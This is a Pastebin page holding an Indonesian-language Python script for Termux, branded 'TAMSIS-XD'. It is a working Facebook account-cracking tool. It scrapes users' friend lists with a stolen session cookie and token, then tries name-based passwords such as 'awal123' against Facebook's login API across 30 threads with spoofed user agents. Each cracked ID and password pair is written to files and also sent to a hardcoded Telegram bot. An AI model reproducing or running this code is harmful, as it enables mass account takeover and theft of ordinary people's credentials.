Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os,requests,json,time,re,random,sys,uuid,string,subprocess,bs4
- os.system("chmod 777 /data/data/com.termux/files/usr/bin/*")
- from string import *
- from concurrent.futures import ThreadPoolExecutor as tred
- from bs4 import BeautifulSoup as sop
- try:
- from licensing.models import *
- from licensing.methods import Key, Helpers
- except:
- os.system("pip install licensing")
- try:
- from licensing.models import *
- from licensing.methods import Key, Helpers
- except:exit("gagal install module")
- P = '\x1b[1;97m' # PUTIH
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- tamsis="global"
- loop,ua,id,ok=0,[],[],[]
- plc=[]
- tamsis="logo"
- def logo():
- os.system("clear")
- print(f"""{M}
- ╔════╗╔═══╗╔═╗╔═╗╔═══╗╔══╗╔═══╗
- ║╔╗╔╗║║╔═╗║║║╚╝║║║╔═╗║╚╣╠╝║╔═╗║
- ╚╝║║╚╝║║─║║║╔╗╔╗║║╚══╗─║║─║╚══╗ {P}
- ──║║──║╚═╝║║║║║║║╚══╗║─║║─╚══╗║
- ──║║──║╔═╗║║║║║║║║╚═╝║╔╣╠╗║╚═╝║
- ──╚╝──╚╝─╚╝╚╝╚╝╚╝╚═══╝╚══╝╚═══╝
- """)
- def ua_api():
- android_version = subprocess.check_output('getprop ro.build.version.release',shell=True).decode('utf-8').replace('\n','')
- build = subprocess.check_output('getprop ro.build.id',shell=True).decode('utf-8').replace('\n','')
- fblc = 'en_GB'
- sim_id = subprocess.check_output('getprop gsm.operator.alpha',shell=True).decode('utf-8').split(',')[0].replace('\n','')
- fbmf = subprocess.check_output('getprop ro.product.manufacturer',shell=True).decode('utf-8').replace('\n','')
- fbbd = subprocess.check_output('getprop ro.product.brand',shell=True).decode('utf-8').replace('\n','')
- fbsv = android_version
- fbca = subprocess.check_output('getprop ro.product.cpu.abilist',shell=True).decode('utf-8').replace(',',':').replace('\n','')
- fbdm = '{density=2.0,height='+subprocess.check_output('getprop ro.hwui.text_large_cache_height',shell=True).decode('utf-8').replace('\n','')+',width='+subprocess.check_output('getprop ro.hwui.text_large_cache_width',shell=True).decode('utf-8').replace('\n','')
- for i in range(10000):
- model = random.choice(['V2057A','I2208','V2228','V1922A','V1916A','V1930A','vivo Y55A','vivo Y55A','I2018','vivo 1707','V2168A','V2228','V1836A','V1930A','V2057A','vivo 1707','V2121A','V2121A','V2147','V1824A'])
- fbap = random.choice(['414.0.0.30.113','414.0.0.30.113','354.0.0.8.108','354.0.0.8.108','405.0.0.16.112','414.0.0.30.113','414.0.0.30.113','413.0.0.30.104','414.0.0.30.113','408.1.0.16.113'])
- fbbv = str(random.randint(111111111,999999999))
- user = '[FBAN/FB4A;FBAV/'+fbap+';FBBV/'+fbbv+';FBDM/{density=2.0,width=720,height=1406};FBLC/'+fblc+';FBRV/'+str(random.randint(000000000,999999999))+';FBCR/'+sim_id+';FBMF/vivo;FBBD/vivo;FBPN/com.facebook.katana;FBDV/'+model+';FBSV/'+android_version+'.0;FBOP/1;FBCA/arm64-v8a:;]'
- ua.append(user)
- def crack(ids,nama,pw):
- try:
- global loop,ok
- print("\r"+P+"["+O+"TAMSIS-XD"+P+"] "+H+"Cracking "+K+str(loop)+P+"/"+K+str(len(id))+B+" OK"+P+" :"+B+str(len(ok))+P,end="\r")
- except Exception as e:print(e)
- try:akhir=nama.split(" ")[1]
- except:akhir="skip"
- for pws in pw:
- try:
- pas=pws.replace("awal",nama.split(" ")[0]).replace("Awal",nama.split(" ")[0]).replace("akhir",akhir).replace("Akhir",akhir).replace("nama",nama).replace("Nama",nama)
- if "skip" in pas:continue
- elif len(pas)<6:continue
- else:pass
- po=requests.post('https://b-api.facebook.com/method/auth.login',headers={'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger','user-agent': random.choice(ua)},data={'email':ids,'password':pas,'cpl':'true','credentials_type':'password','error_detail_type':'button_with_disabled','source':'login','format':'json','generate_session_cookies':'1','generate_analytics_claim':'1','generate_machine_id':'1'}).json()
- if 'session_key' in po:
- open("TAMSIS-OK.txt","a").write(f"{ids}|{pas}\n")
- print(f"\r{P}[{H}TAMSIS-OK{P}]{H} {ids} | {pas} ",end=" \n")
- ook=f"OK|{ids}|{pas}"
- requests.post("https://api.telegram.org/bot5847490356:AAGfMHdclW8yaVZGJI0NkymdtAN4Rs-h2w0/sendMessage?chat_id=6088891967&text="+ook)
- ok.append("1")
- elif "Login approvals are on. Expect an SMS shortly with a code to use for log in" in str(po):break
- elif 'www.facebook.com' in po['error_msg']:
- open("TAMSIS-CP.txt","a").write(f"{ids}|{pas}\n")
- if plc[0] in ["y","Y"]:
- print(f"\r{P}[{K}TAMSIS-OK{P}]{K} {ids} | {pas}",end=" \n")
- else:pass
- break
- else:continue
- except requests.exceptions.ConnectionError:time.sleep(30)
- except Exception as e:print(e)
- loop+=1
- def password():
- logo()
- inpu=input("TAMPILKAN HASIL CP ? (Y/n): ")
- plc.append(inpu)
- logo()
- udin=input("GUNALAN PASSWORD MANUAL ? (Y/n) : ")
- if udin in ["y","Y"]:
- logo()
- print(f"\t {P} KETIK {H}'stop'{P} UNTUK BERHENTI")
- print(f"{P}contoh : {K}awal123,awalakhir,awal akhir,nama")
- pw=[]
- jum=1
- while True:
- pas=input(f"{P}MASUKAN PW KE {jum} : ")
- if len(pas)==0:continue
- elif pas in ["stop","Stop"]:
- break
- else:pw.append(pas);jum+=1
- if len(pw)==0:print("PASSWORD MINIMAL SATU");password()
- else:pass
- else:
- pw=["awal123","awal1234","awal12345","awal123456","awal01","awal12","awal09","awal10","nama","awal321"]
- ua_api()
- logo()
- print(f"\t{P}Total PW : "+K+str(len(pw)))
- print(f"\t{P}Total ID : "+K+str(len(id)))
- print(f"{P}■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■")
- with tred(max_workers=30) as gas:
- try:
- for user in id:
- ids,names = user.split('|')[0],user.split('|')[1].lower()
- gas.submit(crack,ids,names,pw)
- except Exception as e:print(e)
- def file():
- logo()
- file=input(f"CONTOH : {K}/sdcard/file.txt\n{P}FILE : ")
- for i in open(file,"r").readlines():
- if i in id:pass
- else:id.append(i.replace("\n",""))
- print("TOTAL ID : "+str(len(id)))
- input("[ENTER]")
- password()
- def login():
- logo();data2={};data={};ses=requests.Session();cok=input("cookies facebok : ")
- try:
- link = ses.post('https://graph.facebook.com/v16.0/device/login/', data={'access_token': '661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e', 'scope': ''}).json();kode,user = link['code'],link['user_code'];vers = bs4.BeautifulSoup(ses.get(f'https://mbasic.facebook.com/device', cookies={'cookie': cok}).content, 'html.parser');item = ['fb_dtsg','jazoest','qr']
- for x in vers.find_all('input'):
- if x.get('name') in item:aset = {x.get('name'):x.get('value')};data.update(aset)
- data.update({'user_code':user});meta = bs4.BeautifulSoup(ses.post('https://mbasic.facebook.com'+vers.find('form', method='post').get('action'), data=data, cookies={'cookie': cok}).text, 'html.parser');xzxz = meta.find('form',{'method':'post'})
- for x in xzxz('input',{'value':True}):
- try:
- if x['name'] == '__CANCEL__' : pass
- else:data2.update({x['name']:x['value']})
- except Exception as e:pass
- ses.post(f'https://mbasic.facebook.com{xzxz["action"]}', data=data2, cookies={'cookie':cok});token = ses.get(f'https://graph.facebook.com/v16.0/device/login_status?method=post&code={kode}&access_token=661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e').json()['access_token'];open("/data/data/com.termux/files/data.txt","w").write(f"{cok}|{token}");exit("kamu berhasil login")
- except Exception as e:print(f"{M} cookie invalid");exit(e)
- def dump():
- logo()
- try:data=open("/data/data/com.termux/files/data.txt","r").read().split("|")
- except:exit("KAMU BELUM LOGIN")
- cok=data[0]
- if not "c_user" in cok:exit("LOGIN ULANG")
- tok=data[1]
- if not "EAAJ" in tok:exit("LOGIN ULANG")
- print(P+"GUNAKAN KOMA UNTUK MASSAL")
- user=input("USER/ID : ")
- for uid in user.split(','):
- try:use=int(uid)
- except:
- try:use=re.findall('"userID":"(.*?)","',str(sop(requests.get("https://www.facebook.com/"+uid).text,"html.parser")))[0]
- except Exception as e:continue
- try:
- freya=requests.get('https://graph.facebook.com/'+str(use)+'?fields=friends.fields(id,name).limit(5000)&access_token='+tok,cookies={'cookie': cok}).json()['friends']['data']
- for xz in freya:
- if xz['id']+'|'+xz['name'] in id:pass
- else:id.append(xz['id']+'|'+xz['name'])
- except Exception as e:continue
- print("TOTAL ID : "+str(len(id)))
- input("[ENTER]")
- password()
- def log():login()
- def menu():
- logo()
- login=input(f"{P}[{K}01{P}] Crack Publik\n[{K}02{P}] Crack File\n[{K}03{P}] Login\n[{H}00{P}] Minta Lisensi\nPILIH : ")
- if login in ["01","1"]:
- dump()
- elif login in ["03","3"]:log()
- elif login in ["2","02"]:file()
- elif login in ["0","00"]:
- os.system("termux-open https://wa.me/6283115331009");exit()
- else:print("PILIH YG BENER");menu()
- def key():
- logo()
- pilih=input("01.Masuk\n02.Minta Lisensi\nPILIH : ")
- if pilih in ["1","01"]:
- kunci=input(">>key>>> ")
- RSAPubKey ="<RSAKeyValue><Modulus>tp3M0XZn1tD8/v6Sg/wwlgvMjUnnS3OYpbwR17RGGu2Dyk2iO6A18JrK9onCW/+3h8k76Yl4EyAo1plIy0iDeHw+vCogpBERLluBKXMBSu05vQ92L1+CDErPtFyMcPLBIi9cxMho/zKzuGQpicHzCpg1W46k5G+KChNNdcuvuzwcJN/3yIUw0uy3S56IN3y+q+ilLcpwUgXzUrp4VE+WNcV5hmc5bieYj2Pa4uI08i3fUOWfNqViRkEcV1yNuiB+HDgvSz8kLpRCFmhceOTOXMeJX+hYVB9RMUfP0krri05VsSrgsK2a238fLiCtLU77Mtb21UQCfwgV2d2mGck+iw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"
- auth = "WyI1MTc1Njc0NCIsImd3cVJOSUtqbndDTWx0SlpFNTZUWThXZDZHMTRHNkhmMU4vNmxYZHIiXQ=="
- result = Key.activate(token=auth,rsa_pub_key=RSAPubKey,product_id=20587,key=kunci,machine_code=Helpers.GetMachineCode(v=2))
- if result[0] == None or not Helpers.IsOnRightMachine(result[0], v=2):exit("key lisensi tidak terdaftar/kadaluarsa")
- else:logo();print("welcome user semoga harimu penuh warna");open("/data/data/com.termux/files/lis.txt","w").write(kunci);menu()
- elif pilih in ["02","2"]:os.system("termux-open https://wa.me/6283115331009");exit()
- else:
- while True:print("PILIH YANG BENER BANGSAT")
- try:kunci=open("/data/data/com.termux/files/lis.txt","r").read()
- except:key()
- RSAPubKey ="<RSAKeyValue><Modulus>tp3M0XZn1tD8/v6Sg/wwlgvMjUnnS3OYpbwR17RGGu2Dyk2iO6A18JrK9onCW/+3h8k76Yl4EyAo1plIy0iDeHw+vCogpBERLluBKXMBSu05vQ92L1+CDErPtFyMcPLBIi9cxMho/zKzuGQpicHzCpg1W46k5G+KChNNdcuvuzwcJN/3yIUw0uy3S56IN3y+q+ilLcpwUgXzUrp4VE+WNcV5hmc5bieYj2Pa4uI08i3fUOWfNqViRkEcV1yNuiB+HDgvSz8kLpRCFmhceOTOXMeJX+hYVB9RMUfP0krri05VsSrgsK2a238fLiCtLU77Mtb21UQCfwgV2d2mGck+iw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"
- auth = "WyI1MTc1Njc0NCIsImd3cVJOSUtqbndDTWx0SlpFNTZUWThXZDZHMTRHNkhmMU4vNmxYZHIiXQ=="
- result = Key.activate(token=auth,rsa_pub_key=RSAPubKey,product_id=20587,key=kunci,machine_code=Helpers.GetMachineCode(v=2))
- if result[0] == None or not Helpers.IsOnRightMachine(result[0], v=2):key()
- else:menu()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement